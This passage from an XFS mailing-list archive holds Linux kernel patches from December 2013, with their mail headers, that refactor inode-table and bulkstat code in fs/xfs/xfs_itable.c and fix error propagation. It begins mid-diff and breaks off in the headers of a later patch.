mp->m_sb.sb_agcount) { - if (agbp == NULL) { + bufidx = error = 0; + do { + struct xfs_inobt_rec_incore r; + int stat; + + if (!agbp) { error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); - if (error) { - /* - * If we can't read the AGI of this ag, - * then just skip to the next one. - */ - ASSERT(cur == NULL); - agbp = NULL; - agno++; - agino = 0; - continue; - } + if (error) + break; cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); - error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, - &tmp); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); - cur = NULL; - xfs_buf_relse(agbp); - agbp = NULL; - /* - * Move up the last inode in the current - * chunk. The lookup_ge will always get - * us the first inode in the next chunk. - */ - agino += XFS_INODES_PER_CHUNK - 1; - continue; - } } - error = xfs_inobt_get_rec(cur, &r, &i); - if (error || i == 0) { - xfs_buf_relse(agbp); - agbp = NULL; - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); - cur = NULL; - agno++; - agino = 0; - continue; + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); + if (error) + break; + if (!stat) { + /* Done, proceed to look up the next AG */ + goto next_ag; } + + error = xfs_inobt_get_rec(cur, &r, &stat); + if (error) + break; + XFS_WANT_CORRUPTED_GOTO(stat == 1, error0); + agino = r.ir_startino + XFS_INODES_PER_CHUNK - 1; buffer[bufidx].xi_startino = XFS_AGINO_TO_INO(mp, agno, r.ir_startino); buffer[bufidx].xi_alloccount = XFS_INODES_PER_CHUNK - r.ir_freecount; buffer[bufidx].xi_allocmask = ~r.ir_free; - bufidx++; - left--; - if (bufidx == bcount) { - long written; - if (formatter(ubuffer, buffer, bufidx, &written)) { - error = XFS_ERROR(EFAULT); + if (++bufidx == bcount) { + long written; + error = formatter(ubuffer, buffer, bufidx, &written); + if (error) break; - } ubuffer += written; *count += bufidx; bufidx = 0; } - if (left) { - error = xfs_btree_increment(cur, 0, &tmp); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); - cur = NULL; - xfs_buf_relse(agbp); - agbp = NULL; - /* - * The agino value has already been bumped. - * Just try to skip up to it. - */ - agino += XFS_INODES_PER_CHUNK; - continue; - } + if (!--left) + break; + + error = xfs_btree_increment(cur, 0, &stat); + if (error) + break; + if (stat) { + /* + * The agino value has already been bumped, just try + * to skip up to it. + */ + agino += XFS_INODES_PER_CHUNK; + continue; } - } + +next_ag: + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = NULL; + xfs_buf_relse(agbp); + agbp = NULL; + agino = 0; + } while (++agno < mp->m_sb.sb_agcount); + if (!error) { if (bufidx) { - long written; - if (formatter(ubuffer, buffer, bufidx, &written)) - error = XFS_ERROR(EFAULT); - else + long written; + error = formatter(ubuffer, buffer, bufidx, &written); + if (!error) *count += bufidx; } *lastino = XFS_AGINO_TO_INO(mp, agno, agino); } + +error0: kmem_free(buffer); if (cur) xfs_btree_del_cursor(cur, (error ? XFS_BTREE_ERROR : -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:20:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E85527F52 for ; Sat, 28 Dec 2013 05:20:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B693D8F8035 for ; Sat, 28 Dec 2013 03:20:46 -0800 (PST) X-ASG-Debug-ID: 1388229645-04bdf00fdf30f300001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 9jFEnWjdQEsqKynu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:20:45 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBKiHD028974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:20:44 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKhpP020550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:20:44 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBKhL3020543 for ; Sat, 28 Dec 2013 11:20:43 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:20:42 -0800 Message-ID: <52BEB408.6040906@oracle.com> Date: Sat, 28 Dec 2013 19:20:40 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 4/10] xfs: implement xfs_perag_inumbers Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 4/10] xfs: implement xfs_perag_inumbers Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388229645 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs_perag_inumbers(), it could be used to fetch inode inode number tables per allocation group via a new ioctl(2) in the future. Also, that would be a net win considering the scalability for a file system with huge number of inodes as multiple allocation groups can be scanned in parallel. Refactor xfs_inumbers() with it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 175 +++++++++++++++++++++++++++++++++------------------- fs/xfs/xfs_itable.h | 13 +++- 2 files changed, 121 insertions(+), 67 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 4d262f6..b890d1f 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -569,51 +569,42 @@ xfs_inumbers_fmt( } /* - * Return inode number table for the filesystem. + * Return inode number table in an allocation group. Record how many elements + * have been written out and update the last allocation group inode number on + * success. Otherwise, those values will remain the same and return error. */ -int /* error status */ -xfs_inumbers( - struct xfs_mount *mp,/* mount point for filesystem */ - xfs_ino_t *lastino,/* last inode returned */ - int *count,/* size of buffer/count returned */ - void __user *ubuffer,/* buffer with inode desc */ +static int +xfs_perag_inumbers( + struct xfs_mount *mp, + struct xfs_aginumbers *aip, + struct xfs_inogrp *buffer, + int bcount, inumbers_fmt_pf formatter) { - xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastino); - xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastino); - int left = *count; - struct xfs_btree_cur *cur = NULL; - struct xfs_buf *agbp = NULL; - struct xfs_inogrp *buffer; - int bcount; - int bufidx; + xfs_agnumber_t agno = aip->ai_agno; + xfs_agino_t agino = *(aip->ai_lastip); + char *ubuffer = aip->ai_ubuffer; + int ubleft = aip->ai_icount; + int bufidx = 0; + long count = 0;/* # elements written out */ + struct xfs_agi *agi; + struct xfs_buf *agbp; + struct xfs_btree_cur *cur; int error; - *count = 0; - if (agno >= mp->m_sb.sb_agcount || - *lastino != XFS_AGINO_TO_INO(mp, agno, agino)) - return 0; - - bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); - buffer = kmem_alloc(bcount * sizeof(*buffer), KM_SLEEP); - bufidx = error = 0; - do { + error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); + if (error) + return error; + agi = XFS_BUF_TO_AGI(agbp); + cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); + for (;;) { struct xfs_inobt_rec_incore r; int stat; - if (!agbp) { - error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); - if (error) - break; - cur = xfs_inobt_init_cursor(mp, NULL, agbp, agno); - } + /* Done if failed to lookup or no inode chuck is found */ error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); - if (error) + if (error || stat == 0) break; - if (!stat) { - /* Done, proceed to look up the next AG */ - goto next_ag; - } error = xfs_inobt_get_rec(cur, &r, &stat); if (error) @@ -621,59 +612,113 @@ xfs_inumbers( XFS_WANT_CORRUPTED_GOTO(stat == 1, error0); agino = r.ir_startino + XFS_INODES_PER_CHUNK - 1; - buffer[bufidx].xi_startino = - XFS_AGINO_TO_INO(mp, agno, r.ir_startino); - buffer[bufidx].xi_alloccount = - XFS_INODES_PER_CHUNK - r.ir_freecount; + buffer[bufidx].xi_startino = XFS_AGINO_TO_INO(mp, agno, + r.ir_startino); + buffer[bufidx].xi_alloccount = XFS_INODES_PER_CHUNK - + r.ir_freecount; buffer[bufidx].xi_allocmask = ~r.ir_free; - if (++bufidx == bcount) { + /* Run out of the given buffer range, it's time to write out */ + if (++bufidx == ubleft) { long written; + error = formatter(ubuffer, buffer, bufidx, &written); if (error) break; ubuffer += written; - *count += bufidx; + count += bufidx; bufidx = 0; } - if (!--left) + if (!--ubleft) break; error = xfs_btree_increment(cur, 0, &stat); - if (error) + if (error || stat == 0) { + /* Done if failed or there are no rightward entries */ break; - if (stat) { - /* - * The agino value has already been bumped, just try - * to skip up to it. - */ - agino += XFS_INODES_PER_CHUNK; - continue; } -next_ag: - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); - cur = NULL; - xfs_buf_relse(agbp); - agbp = NULL; - agino = 0; - } while (++agno < mp->m_sb.sb_agcount); + /* + * The agino value has already been bumped. Just try to skip + * up to it. + */ + agino += XFS_INODES_PER_CHUNK; + } if (!error) { + /* + * There might have remaining inode number tables reside in + * buffer which have not yet been written out if we iterate + * beyond inode btree. We need to handle them separately. + */ if (bufidx) { long written; + error = formatter(ubuffer, buffer, bufidx, &written); - if (!error) - *count += bufidx; + if (error) + goto error0; + count += bufidx; } - *lastino = XFS_AGINO_TO_INO(mp, agno, agino); + /* Update the last AG inode number */ + *(aip->ai_lastip) = agino; + /* Record how many elements have been written out */ + aip->ai_ocount = count; } error0: + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + xfs_buf_relse(agbp); + + return error; +} + +/* Return inode number table for the filesystem */ +int +xfs_inumbers( + struct xfs_mount *mp,/* mount point for filesystem */ + xfs_ino_t *lastinop,/* last inode returned */ + int *ubcountp,/* size of buffer/count returned */ + void __user *ubuffer,/* buffer with inode desc */ + inumbers_fmt_pf formatter) +{ + xfs_agnumber_t agno = XFS_INO_TO_AGNO(mp, *lastinop); + xfs_agino_t agino = XFS_INO_TO_AGINO(mp, *lastinop); + int ubleft = *ubcountp; + struct xfs_inogrp *buffer; + int count; + int error; + + *ubcountp = 0; + if (agno >= mp->m_sb.sb_agcount || + *lastinop != XFS_AGINO_TO_INO(mp, agno, agino)) + return 0; + + count = MIN(ubleft, (int)(PAGE_SIZE / sizeof(*buffer))); + buffer = kmem_alloc(count * sizeof(*buffer), KM_SLEEP); + do { + struct xfs_aginumbers ai; + + ai.ai_agno = agno; + ai.ai_lastip = &agino; + ai.ai_icount = ubleft; + ai.ai_ubuffer = ubuffer; + ai.ai_ocount = 0; + error = xfs_perag_inumbers(mp, &ai, buffer, count, formatter); + if (error) + break; + + *ubcountp += ai.ai_ocount; + ubleft -= ai.ai_ocount; + ASSERT(ubleft >= 0); + if (!ubleft) + break; + + ubuffer = ai.ai_ubuffer; + agino = 0; + } while (++agno < mp->m_sb.sb_agcount); + + if (!error) + *lastinop = XFS_AGINO_TO_INO(mp, agno, agino); + kmem_free(buffer); - if (cur) - xfs_btree_del_cursor(cur, (error ? XFS_BTREE_ERROR : - XFS_BTREE_NOERROR)); - if (agbp) - xfs_buf_relse(agbp); return error; } diff --git a/fs/xfs/xfs_itable.h b/fs/xfs/xfs_itable.h index 60ce988..f78bbcf 100644 --- a/fs/xfs/xfs_itable.h +++ b/fs/xfs/xfs_itable.h @@ -83,17 +83,26 @@ xfs_bulkstat_one( typedef int (*inumbers_fmt_pf)( void __user *ubuffer, /* buffer to write to */ - const xfs_inogrp_t *buffer, /* buffer to read from */ + const struct xfs_inogrp *buffer, /* buffer to read from */ long count, /* # of elements to read */ long *written); /* # of bytes written */ int xfs_inumbers_fmt( void __user *ubuffer, /* buffer to write to */ - const xfs_inogrp_t *buffer, /* buffer to read from */ + const struct xfs_inogrp *buffer, /* buffer to read from */ long count, /* # of elements to read */ long *written); /* # of bytes written */ +/* This structure is used for xfs_inumbers per allocation group */ +struct xfs_aginumbers { + xfs_agnumber_t ai_agno;/* AG number */ + xfs_agino_t *ai_lastip;/* last AG inode number */ + char __user *ai_ubuffer;/* user buffer to write to */ + __uint32_t ai_icount;/* # of elements to read */ + __uint32_t ai_ocount;/* # of elements written */ +}; + int /* error status */ xfs_inumbers( xfs_mount_t *mp, /* mount point for filesystem */ -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E58C7F3F for ; Sat, 28 Dec 2013 05:22:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2243D304051 for ; Sat, 28 Dec 2013 03:22:01 -0800 (PST) X-ASG-Debug-ID: 1388229719-04cb6c537ba28000001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id IW7iXTZLWOEM5Pbp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:22:00 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBLwlh029569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:21:59 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBLvLt003522 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:21:58 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBLvSk021564 for ; Sat, 28 Dec 2013 11:21:57 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:21:57 -0800 Message-ID: <52BEB453.9060002@oracle.com> Date: Sat, 28 Dec 2013 19:21:55 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 5/10] xfs: fix error handling in xfs_bulkstat Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 5/10] xfs: fix error handling in xfs_bulkstat Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388229720 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu We should not ignore the btree operation errors in xfs_bulkstat() but to propagate them if any. This patch fix two places in this function and the remains things can be fixed with code refactoring thereafter. Moreover, this fix also get rid of the redundant user buffer count pre-checkups as it has already been validated in upper callers. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 40 ++++++---------------------------------- 1 file changed, 6 insertions(+), 34 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index b890d1f..4c6b0ab 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -230,9 +230,6 @@ xfs_bulkstat( *ubcountp = 0; return 0; } - if (!ubcountp || *ubcountp <= 0) { - return EINVAL; - } ubcount = *ubcountp; /* statstruct's */ ubleft = ubcount * statstruct_size; /* bytes */ *ubcountp = ubelem = 0; @@ -255,14 +252,8 @@ xfs_bulkstat( while (XFS_BULKSTAT_UBLEFT(ubleft) && agno < mp->m_sb.sb_agcount) { cond_resched(); error = xfs_ialloc_read_agi(mp, NULL, agno, &agbp); - if (error) { - /* - * Skip this allocation group and go to the next one. - */ - agno++; - agino = 0; - continue; - } + if (error) + break; agi = XFS_BUF_TO_AGI(agbp); /* * Allocate and initialize a btree cursor for ialloc btree. @@ -333,34 +324,15 @@ xfs_bulkstat( error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &tmp); icount = 0; } + if (error) + break; + /* * Loop through inode btree records in this ag, * until we run out of inodes or space in the buffer. */ while (irbp < irbufend && icount < ubcount) { - xfs_inobt_rec_incore_t r; - - /* - * Loop as long as we're unable to read the - * inode btree. - */ - while (error) { - agino += XFS_INODES_PER_CHUNK; - if (XFS_AGINO_TO_AGBNO(mp, agino) >= - be32_to_cpu(agi->agi_length)) - break; - error = xfs_inobt_lookup(cur, agino, - XFS_LOOKUP_GE, &tmp); - cond_resched(); - } - /* - * If ran off the end of the ag either with an error, - * or the normal way, set end and stop collecting. - */ - if (error) { - end_of_ag = 1; - break; - } + struct xfs_inobt_rec_incore r; error = xfs_inobt_get_rec(cur, &r, &i); if (error || i == 0) { -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D64E7F54 for ; Sat, 28 Dec 2013 05:22:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E77FB8F8035 for ; Sat, 28 Dec 2013 03:22:06 -0800 (PST) X-ASG-Debug-ID: 1388229725-04cbb04167a212a0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id QII9CbeCqhu6SSBX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:22:05 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBM4ij029827 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:22:05 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBM4WR003797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:22:04 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBM3UT003792 for ; Sat, 28 Dec 2013 11:22:03 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:22:03 -0800 Message-ID: <52BEB459.7020202@oracle.com> Date: Sat, 28 Dec 2013 19:22:01 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 6/10] xfs: introduce xfs_bulkstat_ichunk_ra Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 6/10] xfs: introduce xfs_bulkstat_ichunk_ra Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388229725 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143488 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs_bulkstat_ichunk_ra() to loop over all clusters in the next inode chunk, then performs readahead if there are any allocated inodes in that cluster. Refactor xfs_bulkstat() with it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 56 ++++++++++++++++++++++++++++++----------------------- 1 file changed, 32 insertions(+), 24 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 4c6b0ab..144e403 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -172,6 +172,37 @@ xfs_bulkstat_one( xfs_bulkstat_one_fmt, ubused, stat); } +/* + * Loop over all clusters in a chunk for a given incore inode allocation btree + * record. Do a readahead if there are any allocated inodes in that cluster. + */ +STATIC void +xfs_bulkstat_ichunk_ra( + struct xfs_mount *mp, + xfs_agnumber_t agno, + struct xfs_inobt_rec_incore *irec) +{ + xfs_agblock_t agbno; + struct blk_plug plug; + int blks_per_cluster; + int inodes_per_cluster; + int i; /* inode chunk index */ + + agbno = XFS_AGINO_TO_AGBNO(mp, irec->ir_startino); + blks_per_cluster = xfs_icluster_size_fsb(mp); + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; + + blk_start_plug(&plug); + for (i = 0; i < XFS_INODES_PER_CHUNK; + i += inodes_per_cluster, agbno += blks_per_cluster) { + if (xfs_inobt_maskn(i, inodes_per_cluster) & ~irec->ir_free) { + xfs_btree_reada_bufs(mp, agno, agbno, blks_per_cluster, + &xfs_inode_buf_ops); + } + } + blk_finish_plug(&plug); +} + #define XFS_BULKSTAT_UBLEFT(ubleft) ((ubleft) >= statstruct_size) /* @@ -187,7 +218,6 @@ xfs_bulkstat( char __user *ubuffer, /* buffer with inode stats */ int *done) /* 1 if there are more stats to get */ { - xfs_agblock_t agbno=0;/* allocation group block number */ xfs_buf_t *agbp; /* agi header buffer */ xfs_agi_t *agi; /* agi header data */ xfs_agino_t agino; /* inode # in allocation group */ @@ -206,8 +236,6 @@ xfs_bulkstat( xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ xfs_ino_t lastino; /* last inode number returned */ - int blks_per_cluster; /* # of blocks per cluster */ - int inodes_per_cluster;/* # of inodes per cluster */ int nirbuf; /* size of irbuf */ int rval; /* return value error code */ int tmp; /* result value from btree calls */ @@ -236,8 +264,6 @@ xfs_bulkstat( *done = 0; fmterror = 0; ubufp = ubuffer; - blks_per_cluster = xfs_icluster_size_fsb(mp); - inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); if (!irbuf) return ENOMEM; @@ -345,25 +371,7 @@ xfs_bulkstat( * Also start read-ahead now for this chunk. */ if (r.ir_freecount < XFS_INODES_PER_CHUNK) { - struct blk_plug plug; - /* - * Loop over all clusters in the next chunk. - * Do a readahead if there are any allocated - * inodes in that cluster. - */ - blk_start_plug(&plug); - agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); - for (chunkidx = 0; - chunkidx < XFS_INODES_PER_CHUNK; - chunkidx += inodes_per_cluster, - agbno += blks_per_cluster) { - if (xfs_inobt_maskn(chunkidx, - inodes_per_cluster) & ~r.ir_free) - xfs_btree_reada_bufs(mp, agno, - agbno, blks_per_cluster, - &xfs_inode_buf_ops); - } - blk_finish_plug(&plug); + xfs_bulkstat_ichunk_ra(mp, agno, &r); irbp->ir_startino = r.ir_startino; irbp->ir_freecount = r.ir_freecount; irbp->ir_free = r.ir_free; -- 1.8.3.2 From jeff.liu@oracle.com Sat Dec 28 05:22:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92F507F3F for ; Sat, 28 Dec 2013 05:22:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 52EF8304051 for ; Sat, 28 Dec 2013 03:22:15 -0800 (PST) X-ASG-Debug-ID: 1388229733-04bdf00fdf30f3e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id YtdZjmoLXMLoLSqr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 03:22:14 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBSBMDAb029897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 28 Dec 2013 11:22:13 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMCOd027172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 11:22:12 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBSBMBNu003854 for ; Sat, 28 Dec 2013 11:22:11 GMT Received: from [192.168.1.105] (/221.223.117.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 28 Dec 2013 03:22:11 -0800 Message-ID: <52BEB461.8040802@oracle.com> Date: Sat, 28 Dec 2013 19:22:09 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 7/10] xfs: introduce xfs_bulkstat_grab_ichunk Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 7/10] xfs: introduce xfs_bulkstat_grab_ichunk Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1388229734 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 